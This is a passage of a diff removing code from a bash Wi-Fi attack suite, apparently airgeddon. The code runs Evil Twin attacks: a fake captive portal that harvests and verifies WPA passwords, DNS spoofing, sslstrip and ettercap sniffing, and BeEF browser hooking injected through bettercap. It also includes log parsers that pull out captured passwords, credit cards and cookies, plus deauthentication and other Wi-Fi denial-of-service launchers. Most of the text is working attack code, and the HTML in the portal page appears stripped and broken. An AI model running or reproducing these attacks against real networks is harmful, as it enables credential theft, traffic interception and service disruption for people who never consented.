- echo -e "\t${et_misc_texts[${language},7]}" - else - EOF - - cat >&7 <<-'EOF' - for client in "${DHCPCLIENTS[@]}"; do - [[ ${client} =~ ^DHCPACK[[:space:]]on[[:space:]]([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})[[:space:]]to[[:space:]](([a-fA-F0-9]{2}:?){5,6}).* ]] && client_ip="${BASH_REMATCH[1]}" && client_mac="${BASH_REMATCH[2]}" - if [[ " ${client_ips[*]} " != *" ${client_ip} "* ]]; then - client_hostname="" - [[ ${client} =~ .*(\(.+\)).* ]] && client_hostname="${BASH_REMATCH[1]}" - if [[ -z "${client_hostname}" ]]; then - echo -e "\t${client_ip} ${client_mac}" - else - echo -e "\t${client_ip} ${client_mac} ${client_hostname}" - fi - fi - client_ips+=(${client_ip}) - done - fi - echo -ne "\033[K\033[u" - sleep 0.3 - done - EOF - - exec 7>&- - sleep 1 -} - -#Launch dnsspoof dns black hole for captive portal Evil Twin attack -function launch_dns_blackhole() { - - debug_print - - recalculate_windows_sizes - xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & - et_processes+=($!) -} - -#Launch control window for Evil Twin attacks -function launch_control_window() { - - debug_print - - recalculate_windows_sizes - case ${et_mode} in - "et_onlyap") - control_scr_window_position=${g1_topright_window} - ;; - "et_sniffing") - control_scr_window_position=${g3_topright_window} - ;; - "et_captive_portal") - if [ ${captive_portal_mode} = "internet" ]; then - control_scr_window_position=${g3_topright_window} - else - control_scr_window_position=${g4_topright_window} - fi - ;; - "et_sniffing_sslstrip") - control_scr_window_position=${g4_topright_window} - ;; - "et_sniffing_sslstrip2") - control_scr_window_position=${g4_topright_window} - ;; - esac - xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_file}\"" > /dev/null 2>&1 & - et_process_control_window=$! -} - -#Create configuration file for lighttpd -function set_webserver_config() { - - debug_print - - rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1 - - { - echo -e "server.document-root = \"${tmpdir}${webdir}\"\n" - echo -e "server.modules = (" - echo -e "\"mod_cgi\"" - echo -e ")\n" - echo -e "server.port = 80\n" - echo -e "index-file.names = ( \"${indexfile}\" )\n" - echo -e "server.error-handler-404 = \"/\"\n" - echo -e "mimetype.assign = (" - echo -e "\".css\" => \"text/css\"," - echo -e "\".js\" => \"text/javascript\"" - echo -e ")\n" - echo -e "cgi.assign = ( \".htm\" => \"/bin/bash\" )" - } >> "${tmpdir}${webserver_file}" - - sleep 2 -} - -#Create captive portal files. Cgi bash scripts, css and js file -function set_captive_portal_page() { - - debug_print - - rm -rf -R "${tmpdir}${webdir}" > /dev/null 2>&1 - mkdir "${tmpdir}${webdir}" > /dev/null 2>&1 - - { - echo -e "body * {" - echo -e "\tbox-sizing: border-box;" - echo -e "\tfont-family: Helvetica, Arial, sans-serif;" - echo -e "}\n" - echo -e ".button {" - echo -e "\tcolor: #ffffff;" - echo -e "\tbackground-color: #1b5e20;" - echo -e "\tborder-radius: 5px;" - echo -e "\tcursor: pointer;" - echo -e "\theight: 30px;" - echo -e "}\n" - echo -e ".content {" - echo -e "\twidth: 100%;" - echo -e "\tbackground-color: #43a047;" - echo -e "\tpadding: 20px;" - echo -e "\tmargin: 15px auto 0;" - echo -e "\tborder-radius: 15px;" - echo -e "\tcolor: #ffffff;" - echo -e "}\n" - echo -e ".title {" - echo -e "\ttext-align: center;" - echo -e "\tmargin-bottom: 15px;" - echo -e "}\n" - echo -e "#password {" - echo -e "\twidth: 100%;" - echo -e "\tmargin-bottom: 5px;" - echo -e "\tborder-radius: 5px;" - echo -e "\theight: 30px;" - echo -e "}\n" - echo -e "#password:hover," - echo -e "#password:focus {" - echo -e "\tbox-shadow: 0 0 10px #69f0ae;" - echo -e "}\n" - echo -e ".bold {" - echo -e "\tfont-weight: bold;" - echo -e "}\n" - echo -e "#showpass {" - echo -e "\tvertical-align: top;" - echo -e "}\n" - } >> "${tmpdir}${webdir}${cssfile}" - - { - echo -e "(function() {\n" - echo -e "\tvar onLoad = function() {" - echo -e "\t\tvar formElement = document.getElementById(\"loginform\");" - echo -e "\t\tif (formElement != null) {" - echo -e "\t\t\tvar password = document.getElementById(\"password\");" - echo -e "\t\t\tvar showpass = function() {" - echo -e "\t\t\t\tpassword.setAttribute(\"type\", password.type == \"text\" ? \"password\" : \"text\");" - echo -e "\t\t\t}" - echo -e "\t\t\tdocument.getElementById(\"showpass\").addEventListener(\"click\", showpass);" - echo -e "\t\t\tdocument.getElementById(\"showpass\").checked = false;\n" - echo -e "\t\t\tvar validatepass = function() {" - echo -e "\t\t\t\tif (password.value.length < 8) {" - echo -e "\t\t\t\t\talert(\"${et_misc_texts[${captive_portal_language},16]}\");" - echo -e "\t\t\t\t}" - echo -e "\t\t\t\telse {" - echo -e "\t\t\t\t\tformElement.submit();" - echo -e "\t\t\t\t}" - echo -e "\t\t\t}" - echo -e "\t\t\tdocument.getElementById(\"formbutton\").addEventListener(\"click\", validatepass);" - echo -e "\t\t}" - echo -e "\t};\n" - echo -e "\tdocument.readyState != 'loading' ? onLoad() : document.addEventListener('DOMContentLoaded', onLoad);" - echo -e "})();\n" - echo -e "function redirect() {" - echo -e "\tdocument.location = \"${indexfile}\";" - echo -e "}\n" - } >> "${tmpdir}${webdir}${jsfile}" - - { - echo -e "#!/bin/bash" - echo -e "echo ''" - echo -e "echo ''" - echo -e "echo -e '\t'" - echo -e "echo -e '\t\t'" - echo -e "echo -e '\t\t${et_misc_texts[${captive_portal_language},15]}'" - echo -e "echo -e '\t\t'" - echo -e "echo -e '\t\t'" - echo -e "echo -e '\t'" - echo -e "echo -e '\t'" - echo -e "echo -e '\t\t
'" - echo -e "echo -e '\t\t\t
'" - echo -e "echo -e '\t\t\t\t
'" - echo -e "echo -e '\t\t\t\t\t

${et_misc_texts[${captive_portal_language},9]}

'" - echo -e "echo -e '\t\t\t\t\t${essid}'" - echo -e "echo -e '\t\t\t\t
'" - echo -e "echo -e '\t\t\t\t

${et_misc_texts[${captive_portal_language},10]}

'" - echo -e "echo -e '\t\t\t\t'" - echo -e "echo -e '\t\t\t\t

${et_misc_texts[${captive_portal_language},12]}

'" - echo -e "echo -e '\t\t\t\t'" - echo -e "echo -e '\t\t\t
'" - echo -e "echo -e '\t\t
'" - echo -e "echo -e '\t'" - echo -e "echo ''" - echo -e "exit 0" - } >> "${tmpdir}${webdir}${indexfile}" - - exec 4>"${tmpdir}${webdir}${checkfile}" - - cat >&4 <<-EOF - #!/bin/bash - echo '' - echo '' - echo -e '\t' - echo -e '\t\t' - echo -e '\t\t${et_misc_texts[${captive_portal_language},15]}' - echo -e '\t\t' - echo -e '\t\t' - echo -e '\t' - echo -e '\t' - echo -e '\t\t
' - echo -e '\t\t\t

' - EOF - - cat >&4 <<-'EOF' - POST_DATA=$(cat /dev/stdin) - if [[ "${REQUEST_METHOD}" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]]; then - POST_DATA=${POST_DATA#*=} - password=${POST_DATA/+/ } - password=${password//[*&\/?<>]} - password=$(printf '%b' "${password//%/\\x}") - password=${password//[*&\/?<>]} - fi - - if [[ ${#password} -ge 8 ]] && [[ ${#password} -le 63 ]]; then - EOF - - cat >&4 <<-EOF - rm -rf "${tmpdir}${webdir}${currentpassfile}" > /dev/null 2>&1 - EOF - - cat >&4 <<-'EOF' - echo "${password}" >\ - EOF - - cat >&4 <<-EOF - "${tmpdir}${webdir}${currentpassfile}" - aircrack-ng -a 2 -b ${bssid} -w "${tmpdir}${webdir}${currentpassfile}" "${et_handshake}" | grep "KEY FOUND!" > /dev/null - EOF - - cat >&4 <<-'EOF' - if [ "$?" = "0" ]; then - EOF - - cat >&4 <<-EOF - touch "${tmpdir}${webdir}${successfile}" - echo '${et_misc_texts[${captive_portal_language},18]}' - et_successful=1 - else - EOF - - cat >&4 <<-'EOF' - echo "${password}" >>\ - EOF - - cat >&4 <<-EOF - "${tmpdir}${webdir}${attemptsfile}" - echo '${et_misc_texts[${captive_portal_language},17]}' - et_successful=0 - fi - EOF - - cat >&4 <<-'EOF' - elif [[ ${#password} -gt 0 ]] && [[ ${#password} -lt 8 ]]; then - EOF - - cat >&4 <<-EOF - echo '${et_misc_texts[${captive_portal_language},26]}' - et_successful=0 - else - echo '${et_misc_texts[${captive_portal_language},14]}' - et_successful=0 - fi - echo -e '\t\t\t

' - echo -e '\t\t
' - echo -e '\t' - echo '' - EOF - - cat >&4 <<-'EOF' - if [ ${et_successful} -eq 1 ]; then - exit 0 - else - echo '' - exit 1 - fi - EOF - - exec 4>&- - sleep 3 -} - -#Launch lighttpd webserver for captive portal Evil Twin attack -function launch_webserver() { - - debug_print - - killall lighttpd > /dev/null 2>&1 - recalculate_windows_sizes - if [ ${captive_portal_mode} = "internet" ]; then - lighttpd_window_position=${g3_bottomright_window} - else - lighttpd_window_position=${g4_bottomright_window} - fi - xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & - et_processes+=($!) -} - -#Launch sslstrip for sslstrip sniffing Evil Twin attack -function launch_sslstrip() { - - debug_print - - rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 - recalculate_windows_sizes - xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "Sslstrip" -e "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" > /dev/null 2>&1 & - et_processes+=($!) -} - -#Launch ettercap sniffer -function launch_ettercap_sniffing() { - - debug_print - - recalculate_windows_sizes - case ${et_mode} in - "et_sniffing") - sniffing_scr_window_position=${g3_bottomright_window} - ;; - "et_sniffing_sslstrip") - sniffing_scr_window_position=${g4_bottomright_window} - ;; - esac - ettercap_cmd="ettercap -i ${interface} -q -T -z -S -u" - if [ ${ettercap_log} -eq 1 ]; then - ettercap_cmd+=" -l \"${tmp_ettercaplog}\"" - fi - - xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer" -e "${ettercap_cmd}" > /dev/null 2>&1 & - et_processes+=($!) -} - -#Create configuration file for beef -function set_beef_config() { - - debug_print - - tmpfiles_toclean=1 - rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1 - - if [ -d "${beef_path}db" ]; then - beef_db="db/${beef_db}" - fi - - { - echo -e "beef:" - echo -e " version: 'airgeddon integrated'" - echo -e " debug: false" - echo -e " client_debug: false" - echo -e " crypto_default_value_length: 80" - echo -e " restrictions:" - echo -e " permitted_hooking_subnet: \"${et_ip_range}/24\"" - echo -e " permitted_ui_subnet: \"0.0.0.0/0\"" - #TODO: This should be permitted_ui_subnet: "127.0.0.1/32" but is not possible to use it with bettercap's proxy because of a bug - #https://github.com/evilsocket/bettercap/issues/356 - #https://github.com/beefproject/beef/issues/1337 - echo -e " http:" - echo -e " debug: false" - echo -e " host: \"0.0.0.0\"" - echo -e " port: \"${beef_port}\"" - echo -e " dns_host: \"localhost\"" - echo -e " dns_port: 53" - echo -e " web_ui_basepath: \"/ui\"" - echo -e " hook_file: \"/${jshookfile}\"" - echo -e " hook_session_name: \"BEEFHOOK\"" - echo -e " session_cookie_name: \"BEEFSESSION\"" - echo -e " web_server_imitation:" - echo -e " enable: true" - echo -e " type: \"apache\"" - echo -e " hook_404: false" - echo -e " hook_root: false" - echo -e " database:" - echo -e " driver: \"sqlite\"" - echo -e " db_file: \"${beef_db}\"" - echo -e " credentials:" - echo -e " user: \"beef\"" - echo -e " passwd: \"${beef_pass}\"" - echo -e " autorun:" - echo -e " enable: true" - echo -e " result_poll_interval: 300" - echo -e " result_poll_timeout: 5000" - echo -e " continue_after_timeout: true" - echo -e " dns_hostname_lookup: false" - echo -e " integration:" - echo -e " phishing_frenzy:" - echo -e " enable: false" - echo -e " extension:" - echo -e " requester:" - echo -e " enable: true" - echo -e " proxy:" - echo -e " enable: true" - echo -e " key: \"beef_key.pem\"" - echo -e " cert: \"beef_cert.pem\"" - echo -e " metasploit:" - echo -e " enable: false" - echo -e " social_engineering:" - echo -e " enable: true" - echo -e " evasion:" - echo -e " enable: false" - echo -e " console:" - echo -e " shell:" - echo -e " enable: false" - echo -e " ipec:" - echo -e " enable: true" - echo -e " dns:" - echo -e " enable: false" - echo -e " dns_rebinding:" - echo -e " enable: false" - } >> "${tmpdir}${beef_file}" -} - -#Kill beef process -function kill_beef() { - - debug_print - - killall "${optional_tools_names[19]}" > /dev/null 2>&1 - if [ "$?" != "0" ]; then - beef_pid=$(ps uax | pgrep -f "${optional_tools_names[19]}") - kill "${beef_pid}" &> /dev/null - if [ "$?" != "0" ]; then - beef_pid=$(ps uax | pgrep -f "beef") - kill "${beef_pid}" &> /dev/null - fi - fi -} - -#Detects if your beef is Flexible Brainfuck interpreter instead of BeEF -function detect_fake_beef() { - - debug_print - - readarray -t BEEF_OUTPUT < <(timeout -s SIGTERM 0.5 beef -h 2> /dev/null) - - for item in "${BEEF_OUTPUT[@]}"; do - if [[ ${item} =~ Brainfuck ]]; then - fake_beef_found=1 - break - fi - done -} - -#Search for beef path -function search_for_beef() { - - debug_print - - if [ "${beef_found}" -eq 0 ]; then - for item in "${possible_beef_known_locations[@]}"; do - if [ -f "${item}beef" ]; then - beef_path="${item}" - beef_found=1 - break - fi - done - fi -} - -#Prepare system to work with beef -function prepare_beef_start() { - - debug_print - - valid_possible_beef_path=0 - if [[ ${beef_found} -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 0 ]]; then - language_strings "${language}" 405 "blue" - ask_yesno 191 - if [ ${yesno} = "y" ]; then - manual_beef_set - search_for_beef - fi - - if [[ ${beef_found} -eq 1 ]] && [[ ${valid_possible_beef_path} -eq 1 ]]; then - fix_beef_executable "${manually_entered_beef_path}" - fi - - if [ ${beef_found} -eq 1 ]; then - echo - language_strings "${language}" 413 "yellow" - language_strings "${language}" 115 "read" - fi - elif [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 0 ]]; then - fix_beef_executable "${beef_path}" - echo - language_strings "${language}" 413 "yellow" - language_strings "${language}" 115 "read" - elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then - language_strings "${language}" 405 "blue" - ask_yesno 415 - if [ ${yesno} = "y" ]; then - manual_beef_set - search_for_beef - if [[ ${beef_found} -eq 1 ]] && [[ ${valid_possible_beef_path} -eq 1 ]]; then - rewrite_script_with_custom_beef "set" "${manually_entered_beef_path}" - echo - language_strings "${language}" 413 "yellow" - language_strings "${language}" 115 "read" - fi - fi - fi -} - -#Set beef path manually -function manual_beef_set() { - - debug_print - - while [[ "${valid_possible_beef_path}" != "1" ]]; do - echo - language_strings "${language}" 402 "green" - read -r manually_entered_beef_path - if [ -n "${manually_entered_beef_path}" ]; then - lastcharmanually_entered_beef_path=${manually_entered_beef_path: -1} - if [ "${lastcharmanually_entered_beef_path}" != "/" ]; then - manually_entered_beef_path="${manually_entered_beef_path}/" - fi - - firstcharmanually_entered_beef_path=${manually_entered_beef_path:0:1} - if [ "${firstcharmanually_entered_beef_path}" != "/" ]; then - language_strings "${language}" 404 "red" - else - if [ -d "${manually_entered_beef_path}" ]; then - if [ -f "${manually_entered_beef_path}beef" ]; then - head "${manually_entered_beef_path}beef" -n 1 2> /dev/null| grep ruby > /dev/null - if [ "$?" = "0" ]; then - possible_beef_known_locations+=(${manually_entered_beef_path}) - valid_possible_beef_path=1 - else - language_strings "${language}" 406 "red" - fi - else - language_strings "${language}" 406 "red" - fi - else - language_strings "${language}" 403 "red" - fi - fi - fi - done -} - -#Fix for not found beef executable -function fix_beef_executable() { - - debug_print - - rm -rf "/usr/bin/beef" > /dev/null 2>&1 - { - echo -e "#!/bin/bash\n" - echo -e "cd ${1}" - echo -e "./beef" - } >> "/usr/bin/beef" - chmod +x "/usr/bin/beef" > /dev/null 2>&1 - optional_tools[${optional_tools_names[19]}]=1 - - rewrite_script_with_custom_beef "set" "${1}" -} - -#Rewrite airgeddon script in a polymorphic way adding custom beef location to array to get persistence -function rewrite_script_with_custom_beef() { - - debug_print - - case ${1} in - "set") - sed -ri "s:(\s+|\t+)([\"0-9a-zA-Z/\-_ ]+)?\s?(#Custom BeEF location \(set=)([01])(\)):\1\"${2}\" \31\5:" "${scriptfolder}${scriptname}" 2> /dev/null - chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1 - ;; - "search") - beef_custom_path_line=$(grep "#[C]ustom BeEF location (set=1)" < "${scriptfolder}${scriptname}" 2> /dev/null) - if [ -n "${beef_custom_path_line}" ]; then - [[ ${beef_custom_path_line} =~ \"(.*)\" ]] && beef_custom_path="${BASH_REMATCH[1]}" - fi - ;; - esac -} - -#Start beef process as a service -function start_beef_service() { - - debug_print - - service "${optional_tools_names[19]}" restart > /dev/null 2>&1 - if [ "$?" != "0" ]; then - systemctl restart "${optional_tools_names[19]}.service" > /dev/null 2>&1 - fi -} - -#Launch beef browser exploitation framework -function launch_beef() { - - debug_print - - kill_beef - - if [ "${beef_found}" -eq 0 ]; then - start_beef_service - fi - - recalculate_windows_sizes - if [ "${beef_found}" -eq 1 ]; then - rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 - cp "${tmpdir}${beef_file}" "${beef_path}" > /dev/null 2>&1 - xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & - else - xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & - fi - et_processes+=($!) - sleep 2 -} - -#Launch bettercap sniffer -function launch_bettercap_sniffing() { - - debug_print - - recalculate_windows_sizes - sniffing_scr_window_position=${g4_bottomright_window} - - if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_advanced_options}"; then - bettercap_extra_cmd_options="--disable-parsers URL,HTTPS,DHCP --no-http-logs" - fi - - bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" - - if [ ${bettercap_log} -eq 1 ]; then - bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" - fi - - xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & - et_processes+=($!) -} - -#Parse ettercap log searching for captured passwords -function parse_ettercap_log() { - - debug_print - - echo - language_strings "${language}" 304 "blue" - - readarray -t CAPTUREDPASS < <(etterlog -L -p -i "${tmp_ettercaplog}.eci" 2> /dev/null | egrep -i "USER:|PASS:") - - { - echo "" - date +%Y-%m-%d - echo "${et_misc_texts[${language},8]}" - echo "" - echo "BSSID: ${bssid}" - echo "${et_misc_texts[${language},1]}: ${channel}" - echo "ESSID: ${essid}" - echo "" - echo "---------------" - echo "" - } >> "${tmpdir}parsed_file" - - pass_counter=0 - for cpass in "${CAPTUREDPASS[@]}"; do - echo "${cpass}" >> "${tmpdir}parsed_file" - pass_counter=$((pass_counter + 1)) - done - - if [ ${pass_counter} -eq 0 ]; then - language_strings "${language}" 305 "yellow" - else - language_strings "${language}" 306 "blue" - cp "${tmpdir}parsed_file" "${ettercap_logpath}" > /dev/null 2>&1 - fi - - rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 - language_strings "${language}" 115 "read" -} - -#Parse bettercap log searching for captured passwords -function parse_bettercap_log() { - - debug_print - - echo - language_strings "${language}" 304 "blue" - - local regexp='USER|PASS|CREDITCARD|COOKIE|PWD|USUARIO|CONTRASE' - local regexp2='USER-AGENT|COOKIES|BEEFHOOK' - readarray -t BETTERCAPLOG < <(cat < "${tmp_bettercaplog}" 2> /dev/null | egrep -i ${regexp} | egrep -vi ${regexp2}) - - { - echo "" - date +%Y-%m-%d - echo "${et_misc_texts[${language},8]}" - echo "" - echo "BSSID: ${bssid}" - echo "${et_misc_texts[${language},1]}: ${channel}" - echo "ESSID: ${essid}" - echo "" - echo "---------------" - echo "" - } >> "${tmpdir}parsed_file" - - pass_counter=0 - captured_cookies=() - for cpass in "${BETTERCAPLOG[@]}"; do - if [[ ${cpass} =~ COOKIE ]]; then - repeated_cookie=0 - for item in "${captured_cookies[@]}"; do - if [ "${item}" = "${cpass}" ]; then - repeated_cookie=1 - break - fi - done - if [ ${repeated_cookie} -eq 0 ]; then - captured_cookies+=("${cpass}") - echo "${cpass}" >> "${tmpdir}parsed_file" - pass_counter=$((pass_counter + 1)) - fi - else - echo "${cpass}" >> "${tmpdir}parsed_file" - pass_counter=$((pass_counter + 1)) - fi - done - - if [ ${pass_counter} -eq 0 ]; then - language_strings "${language}" 305 "yellow" - else - language_strings "${language}" 399 "blue" - cp "${tmpdir}parsed_file" "${bettercap_logpath}" > /dev/null 2>&1 - fi - - rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 - language_strings "${language}" 115 "read" -} - -#Write on a file the id of the captive portal Evil Twin attack processes -function write_et_processes() { - - debug_print - - for item in "${et_processes[@]}"; do - echo "${item}" >> "${tmpdir}${webdir}${processesfile}" - done -} - -#Kill the Evil Twin processes -function kill_et_windows() { - - debug_print - - for item in "${et_processes[@]}"; do - kill "${item}" &> /dev/null - done - kill ${et_process_control_window} &> /dev/null -} - -#Convert capture file to hashcat format -function convert_cap_to_hashcat_format() { - - debug_print - - tmpfiles_toclean=1 - rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 - echo "1" | aircrack-ng "${enteredpath}" -J "${tmpdir}hctmp" -b "${bssid}" > /dev/null 2>&1 -} - -#Handshake tools menu -function handshake_tools_menu() { - - debug_print - - clear - language_strings "${language}" 120 "title" - current_menu="handshake_tools_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - print_simple_separator - language_strings "${language}" 48 - language_strings "${language}" 55 - language_strings "${language}" 56 - language_strings "${language}" 49 - language_strings "${language}" 124 "separator" - language_strings "${language}" 121 - print_simple_separator - language_strings "${language}" 122 clean_handshake_dependencies[@] - print_simple_separator - language_strings "${language}" 123 - print_hint ${current_menu} - - read -r handshake_option - case ${handshake_option} in - 1) - select_interface - ;; - 2) - monitor_option - ;; - 3) - managed_option - ;; - 4) - explore_for_targets_option - ;; - 5) - capture_handshake - ;; - 6) - contains_element "${handshake_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - clean_handshake_file_option - fi - ;; - 7) - return - ;; - *) - invalid_menu_option - ;; - esac - - handshake_tools_menu -} - -#Execute the cleaning of a Handshake file -function exec_clean_handshake_file() { - - debug_print - - echo - check_valid_file_to_clean "${filetoclean}" - if [ "$?" != "0" ]; then - language_strings "${language}" 159 "yellow" - else - wpaclean "${filetoclean}" "${filetoclean}" > /dev/null 2>&1 - language_strings "${language}" 153 "yellow" - fi - language_strings "${language}" 115 "read" -} - -#Validate and ask for the parameters used to clean a Handshake file -function clean_handshake_file_option() { - - debug_print - - echo - readpath=0 - - if [ -z "${enteredpath}" ]; then - language_strings "${language}" 150 "blue" - readpath=1 - else - language_strings "${language}" 151 "blue" - ask_yesno 152 - if [ ${yesno} = "y" ]; then - filetoclean="${enteredpath}" - else - readpath=1 - fi - fi - - if [ ${readpath} -eq 1 ]; then - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "cleanhandshake" - done - fi - - exec_clean_handshake_file -} - -#DoS attacks menu -function dos_attacks_menu() { - - debug_print - - clear - language_strings "${language}" 102 "title" - current_menu="dos_attacks_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - print_simple_separator - language_strings "${language}" 48 - language_strings "${language}" 55 - language_strings "${language}" 56 - language_strings "${language}" 49 - language_strings "${language}" 50 "separator" - language_strings "${language}" 51 mdk3_attack_dependencies[@] - language_strings "${language}" 52 aireplay_attack_dependencies[@] - language_strings "${language}" 53 mdk3_attack_dependencies[@] - language_strings "${language}" 54 "separator" - language_strings "${language}" 62 mdk3_attack_dependencies[@] - language_strings "${language}" 63 mdk3_attack_dependencies[@] - language_strings "${language}" 64 mdk3_attack_dependencies[@] - print_simple_separator - language_strings "${language}" 59 - print_hint ${current_menu} - - read -r dos_option - case ${dos_option} in - 1) - select_interface - ;; - 2) - monitor_option - ;; - 3) - managed_option - ;; - 4) - explore_for_targets_option - ;; - 5) - contains_element "${dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - mdk3_deauth_option - fi - ;; - 6) - contains_element "${dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - aireplay_deauth_option - fi - ;; - 7) - contains_element "${dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - wds_confusion_option - fi - ;; - 8) - contains_element "${dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - beacon_flood_option - fi - ;; - 9) - contains_element "${dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - auth_dos_option - fi - ;; - 10) - contains_element "${dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - michael_shutdown_option - fi - ;; - 11) - return - ;; - *) - invalid_menu_option - ;; - esac - - dos_attacks_menu -} - -#Capture Handshake on Evil Twin attack -function capture_handshake_evil_twin() { - - debug_print - - if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then - echo - language_strings "${language}" 137 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - capture_handshake_window - - case ${et_dos_attack} in - "Mdk3") - rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 - echo "${bssid}" > "${tmpdir}bl.txt" - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & - sleeptimeattack=12 - ;; - "Aireplay") - ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & - sleeptimeattack=12 - ;; - "Wds Confusion") - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & - sleeptimeattack=16 - ;; - esac - - processidattack=$! - sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null - - ask_yesno 145 - handshake_captured=${yesno} - kill "${processidcapture}" &> /dev/null - if [ "${handshake_captured}" = "y" ]; then - - handshakepath="${default_save_path}" - lastcharhandshakepath=${handshakepath: -1} - if [ "${lastcharhandshakepath}" != "/" ]; then - handshakepath="${handshakepath}/" - fi - handshakefilename="handshake-${bssid}.cap" - handshakepath="${handshakepath}${handshakefilename}" - - language_strings "${language}" 162 "yellow" - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "writeethandshake" - done - - cp "${tmpdir}${standardhandshake_filename}" "${et_handshake}" - echo - language_strings "${language}" 324 "blue" - language_strings "${language}" 115 "read" - return 0 - else - echo - language_strings "${language}" 146 "red" - language_strings "${language}" 115 "read" - return 2 - fi -} - -#Capture Handshake on Handshake tools -function capture_handshake() { - - debug_print - - if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then - echo - language_strings "${language}" 125 "yellow" - language_strings "${language}" 115 "read" - explore_for_targets_option - fi - - if [ "$?" != "0" ]; then - return 1 - fi - - if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then - echo - language_strings "${language}" 137 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - language_strings "${language}" 126 "yellow" - language_strings "${language}" 115 "read" - - attack_handshake_menu "new" -} - -#Check if file exists -function check_file_exists() { - - debug_print - - if [[ ! -f "${1}" || -z "${1}" ]]; then - language_strings "${language}" 161 "red" - return 1 - fi - return 0 -} - -#Validate path -function validate_path() { - - debug_print - - dirname=${1%/*} - - if [[ ! -d "${dirname}" ]] || [[ "${dirname}" = "." ]]; then - language_strings "${language}" 156 "red" - return 1 - fi - - check_write_permissions "${dirname}" - if [ "$?" != "0" ]; then - language_strings "${language}" 157 "red" - return 1 - fi - - lastcharmanualpath=${1: -1} - if [[ "${lastcharmanualpath}" = "/" ]] || [[ -d "${1}" ]]; then - - if [ "${lastcharmanualpath}" != "/" ]; then - pathname="${1}/" - else - pathname="${1}" - fi - - case ${2} in - "handshake") - enteredpath="${pathname}${standardhandshake_filename}" - suggested_filename="${standardhandshake_filename}" - ;; - "hashcatpot") - suggested_filename="${hashcatpot_filename}" - potenteredpath+="${hashcatpot_filename}" - ;; - "ettercaplog") - suggested_filename="${default_ettercaplogfilename}" - ettercap_logpath="${ettercap_logpath}${default_ettercaplogfilename}" - ;; - "bettercaplog") - suggested_filename="${default_bettercaplogfilename}" - bettercap_logpath="${bettercap_logpath}${default_bettercaplogfilename}" - ;; - "writeethandshake") - et_handshake="${pathname}${standardhandshake_filename}" - suggested_filename="${standardhandshake_filename}" - ;; - esac - - echo - language_strings "${language}" 155 "yellow" - return 0 - fi - - language_strings "${language}" 158 